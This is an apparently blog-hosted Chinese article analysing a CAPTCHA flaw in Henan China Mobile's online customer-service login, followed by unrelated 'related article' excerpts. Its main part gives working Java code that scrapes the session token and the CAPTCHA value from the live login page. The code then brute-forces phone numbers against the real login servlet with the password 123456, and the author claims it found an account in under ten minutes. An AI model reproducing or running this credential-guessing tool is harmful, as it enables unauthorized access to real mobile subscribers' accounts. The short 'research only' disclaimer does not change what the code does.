河南移动网络客服系统验证码的缺陷分析和利用!

先声明哦 本文没有技术含量---只是为了证明java也可以作破解工具

  中国移动的在线客服系统大家应该非常熟悉,因为我是移动忠实的河南用户,自然就从河南移动说起.在移动大厅办理过业务的用户都很清楚,用户密码只能设置成6位数0~9.而网上服务系统和移动的核心数据库是同步的,密码也只能局限为6位数字.如此简单的密码组合非常适合暴力破解.

  我们来分析一下暴力破解的可行性.首先,系统对当天登录的次数要没有限制,我随便输入一个手机号测试系统容错次数.我试了十次,依然可以进入登录界面(yes~有戏).接下来,分析系统登录需要提交的关键字段.来看看登录页面http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp

__________________________________________

.....................

<form method="post" name="thisform"

//post 方式提交数据

...........

action="/servlet/com.huawei.icd30.wskf.login.LoginCheck"> -->

//处理登录事件的servlet 看来是它接收的参数.

<input type="hidden" name="forwardFlag" value="0">

  //关键字段 forwardFlag 不知道什么用处,但多次刷新页面无改变

<input type="hidden" name="transaction" value="3">

  // 关键字段 transaction 同上 

<input type="hidden" name="ssRandomPass" value="dNZjN/vfR4HwMACDVqhncQ==" >

  //关键字段 ssRandomPass 每次刷新得到新的随机值,在页面无显示

  //可能是身份识别的隐含信息

......................

//以下是用户提交的表单内容

<td><input type="text" name="userName" size="14"

//呵呵 手机号

<td><input type="password" name="passWord"

  //手机密码

<td><input name="randomPassword" type="text"

  //图片验证码

.......................................

___________________________________

综上得post内容为:forwardFlag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ==

&userName=135********&passWord=******&randomPassword=****

passWord是我们要猜解的内容,如何锁定randomPassword(验证码)是关键.具体就是如何对图片验证码做解析.说到这里就不得不提一下,在没有验证码的时代,许多暴力破解软件非常流行,对于入侵大多数邮件服务器和论坛是非常行之有效的方法.也捧红了一批经典破解软件,如流光,溯雪.(呵呵,都是值得珍藏的文物)

  我们来看看这里的验证码是如何生成的右键单击验证码图片.哈哈,我们看到了什么?http://khfw.ha.chinamobile.com/s ... let?randomPass=9814<--这是不正是我们的验证码值吗?

我们访问com.huawei.icd30.wskf.console.ImageServlet应用改变randomPass的值为1111 呵呵,不出所料生成了数值为1111的图片.由此可见,登录验证程序和验证码的生成是两个应用.由返回的登录页面传递参数请求com.huawei.icd30.wskf.console.ImageServlet生成验证码.

到这里我们的分析工作就算完成了.如何用程序实现暴力破解没有技术难度.我写了一个java版的application win2000下编译测试成功,效仿一些QQ破解模式,密码为123456,不断变换猜解手机号,10分钟不到就找到了一个密码为123456的用户. 

******本代码只做研究,对于该程序可能造成的后果本人概不负责********

源代码如下:

--------------

import java.net.*;

import java.io.*;

public class Result

{

public static String ssRandomPass,randomPassword;

public static int passWord=123456,num=00000;

//设置六位手机密码和手机后五位号码

public static void main(String args[]){

while(true)

{

check();

//该函数捕获登录页面关键字段

try {

URL url = new URL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;

URLConnection connection = url.openConnection();

connection.setDoOutput(true);

OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");

out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=

135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//这里组织提交信息

out.flush();

out.close();

//获取返回数据

BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));

String line = null;

StringBuffer content= new StringBuffer();

while((line = in.readLine()) != null)

{

//line为返回值,这就可以判断是否成功、

content.append(line);

}

in.close() ;

in=null;

url=null;

String msg = content.toString();

System.err.println("Back code:"+msg.length()+" check passwd:"+passWord);

System.err.println("check num:135256"+num);

if(msg.length()==412|num==99999)

{

     System.err.println("Get one phonenumber");  

System.err.println(msg);

break;

}

// passWord++;

num++;

} catch (MalformedURLException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (UnsupportedEncodingException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

public static void check()

{

StringBuffer ssR = new StringBuffer();

StringBuffer rand = new StringBuffer();

try {

URL url = new URL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");

URLConnection connection = url.openConnection();

connection.setDoOutput(true);

OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");

out.write("?");

out.flush();

out.close();

//获取返回数据

BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));

String line = null;

StringBuffer content= new StringBuffer();

while((line = in.readLine()) != null)

{

//line为返回值,这就可以判断是否成功、

content.append(line);

}

in.close() ;

in=null;

url=null;

String msg = content.toString();

for (int i=0;i<=23;i++)

ssR.append(msg.charAt(1534+i));

ssRandomPass=ssR.toString();

System.err.println(ssR.toString());

for (int i=0;i<=3;i++)

rand.append(msg.charAt(2492+i));

randomPassword=rand.toString();

System.err.println(rand.toString());

//System.err.println(msg);

} catch (MalformedURLException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (UnsupportedEncodingException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

(0)

相关推荐

  • 河南移动网络客服系统验证码的缺陷分析和利用!

    先声明哦 本文没有技术含量---只是为了证明java也可以作破解工具 中国移动的在线客服系统大家应该非常熟悉,因为我是移动忠实的河南用户,自然就从河南移动说起.在移动大厅办理过业务的用户都很清楚,用户密码只能设置成6位数0-9.而网上服务系统和移动的核心数据库是同步的,密码也只能局限为6位数字.如此简单的密码组合非常适合暴力破解. 我们来分析一下暴力破解的可行性.首先,系统对当天登录的次数要没有限制,我随便输入一个手机号测试系统容错次数.我试了十次,依然可以进入登录界面(yes-有戏).接下来,

  • PHP使用反向Ajax技术实现在线客服系统详解

    本文实例讲述了PHP使用反向Ajax技术实现在线客服系统.分享给大家供大家参考,具体如下: 反向Ajax技术,又称为服务器推技术,server push等.一般用于"在线客服"."消息推送"."即时通信"等功能中,比如新浪微博的私信功能,就是客户端不断的请求服务器并创建连接,去查看服务器有没有返回的信息,建立连接比较浪费服务器资源,下面我将根据客户端创建连接的不同性来介绍一下实现反向Ajax的三种思路. 三种思路: 1.间隔固定时间创建连接 这种

  • 教你给《羊了个羊》配置一套智能客服系统

    目录 ▲ <羊了个羊>游戏界面 ▲<羊了个羊>官方微博通告 几乎是一夜之间,微信小游戏<羊了个羊>火了.​ 这个依靠寻找相同元素消除方块的小游戏,凭借其“变态级别”的游戏难度成功破圈,闯入了无数人的休闲时间,并数次冲上热搜. 当然,很多人在微博.朋友圈对它的评价主要是:连第一关都过不了! ▲ <羊了个羊>游戏界面 对于这样一个规模不大的小游戏开发团队来说,收获超高人气的同时,头疼的事情发生了: ▲<羊了个羊>官方微博通告 是的,突然涌入的大量玩家

  • 基于PHP技术开发客服工单系统

    相关知识:客顺通php在线客服系统 v2.0.0 PESCMS Ticket PESMCS Ticket(下称PT)是一款基于GPLv2协议发布的开源客服工单系统.PT基于PESCMS2为核心进行开发,以全新的设计理念,实现一句JS即可嵌入任意页面中,让工单系统变得更加轻便. 运行环境 PHP 5.4及以上版本 Mysql 5.5及以上版本 浏览器不能低于IE8含8 快速使用 登入系统后台--工单模型--创建工单 .创建完毕后,点击'生成JS'按钮.将JS文件保存到本地.最后在任意的页面中,引入

  • javascript实现在线客服效果

    在线客服系统在大量的网站都有应用,特别是销售类网站,可以有效的增加网站的可用性,便于客户及时联系商家,从而增加了交易成功的可能性,在线客服系统的实现方式有多种多样,这里介绍一种网上常见并且非常美观的客服系统,以此达到举一反三的目的,能够比较轻松的实现其他外观形式的客服系统,代码示例如下: CSS <style type="text/css"> body { margin:0px } .main_head { background:url(mytest/JS/img3-5_2

  • php 微信公众平台开发模式实现多客服的实例代码

    其实微信公众平台的多客服功能已经出来好久了,并且一出来的时候我就已经为自己的公众号实现了,原本以为大家都已经会了,但是今天还是有人问起这个多客服功能怎么使用,我找了下网上也没什么好的教程,今天我就给大家发一篇比较简单易懂的教程吧 在这篇微信公众平台开发教程中,我们将介绍如何使用开发模式实现多客服系统. 一.回复多客服消息 在新的微信协议中,开发模式也可以接入客服系统. 开发者如果需要让用户使用客服系统,需要在接收到用户发送的消息时,返回一个MsgType为transfer_customer_se

  • 如何使用微信公众平台开发模式实现多客服

    其实微信公众平台的多客服功能已经出来好久了,并且一出来的时候我就已经为自己的公众号实现了,原本以为大家都已经会了,但是今天还是有人问起这个多客服功能怎么使用,我找了下网上也没什么好的教程,今天我就给大家发一篇比较简单易懂的教程吧! 在这篇微信公众平台开发教程中,我们将介绍如何使用开发模式实现多客服系统. 一.回复多客服消息 在新的微信协议中,开发模式也可以接入客服系统. 开发者如果需要让用户使用客服系统,需要在接收到用户发送的消息时,返回一个MsgType为transfer_customer_s

  • 微信小程序中添加客服按钮contact-button功能

    小程序的客服系统,是微信做的非常成功的一个功能,开发者可以很方便的通过一行代码,就可实现客服功能. 1. 普通客服按钮添加 <button open-type='contact' session-from=''>客服-联系我们</button> 2. 悬浮客服按钮添加,图片自定义 大家看地图的有个客服图片图片资源.大家去iconfont 网站去找一个就可以了 index.wxml <button class="kf_button" open-type=&q

  • 微信小程序如何实现在线客服功能

    其实只需要解决2个问题 第一步,在微信小程序中添加联系在线客服按钮 第二步,接入在线客服功能,设置[自动/人工/转人工]回复等 一.添加小程序客服按钮 ① 在小程序中添加客服按钮功能,点此参考官方文档(开发者通过一行代码,实现客服功能.) ② 常见的客服按钮形式有2种: 1.初始样式的客服消息按钮(多以文字"联系客服"形式出现) 2.自定义图片样式的客服消息按钮(客服消息按钮与整体页面更和谐) 无论使用哪一种方法,用户都可以通过点击客服消息按钮,进入聊天界面,与你的小程序客服直接沟通.

  • java获取客服端信息的方法(系统,浏览器等)

    如下所示: String agent = request.getHeader("user-agent"); System.out.println(agent); StringTokenizer st = new StringTokenizer(agent,";"); st.nextToken(); String userbrowser = st.nextToken(); System.out.println(userbrowser); String useros =

随机推荐